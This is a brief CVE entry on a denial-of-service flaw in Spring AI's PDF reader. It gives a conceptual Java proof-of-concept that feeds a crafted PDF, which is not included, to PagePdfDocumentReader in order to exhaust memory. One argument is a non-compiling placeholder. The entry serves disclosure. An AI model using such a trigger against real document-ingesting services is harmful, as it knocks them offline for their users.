CVE-2026-40980 Spring AI 拒绝服务漏洞

// Conceptual PoC to demonstrate the vulnerability trigger // This requires a maliciously crafted PDF file (malicious.pdf) import org.springframework.ai.reader.pdf.PagePdfDocumentReader; import org.springframework.ai.reader.pdf.config.PdfDocumentReaderConfig; public class PocExploit { public static void main(String[] args) { // Configure the reader to use the vulnerable ForkPDFLayoutTextStripper PdfDocumentReaderConfig config = PdfDocumentReaderConfig.builder() .withPageTopMargin(0) .withPageExtractedTextFormatter((...) -> ...) // Implicitly uses vulnerable stripper .build(); // Load the crafted malicious PDF // The PDF contains structures causing infinite loops or massive allocation in ForkPDFLayoutTextStripper PagePdfDocumentReader reader = new PagePdfDocumentReader("malicious.pdf", config); try { // Trigger the parsing and memory exhaustion reader.get(); } catch (OutOfMemoryError e) { System.out.println("Vulnerability Triggered: OutOfMemoryError occurred."); } } }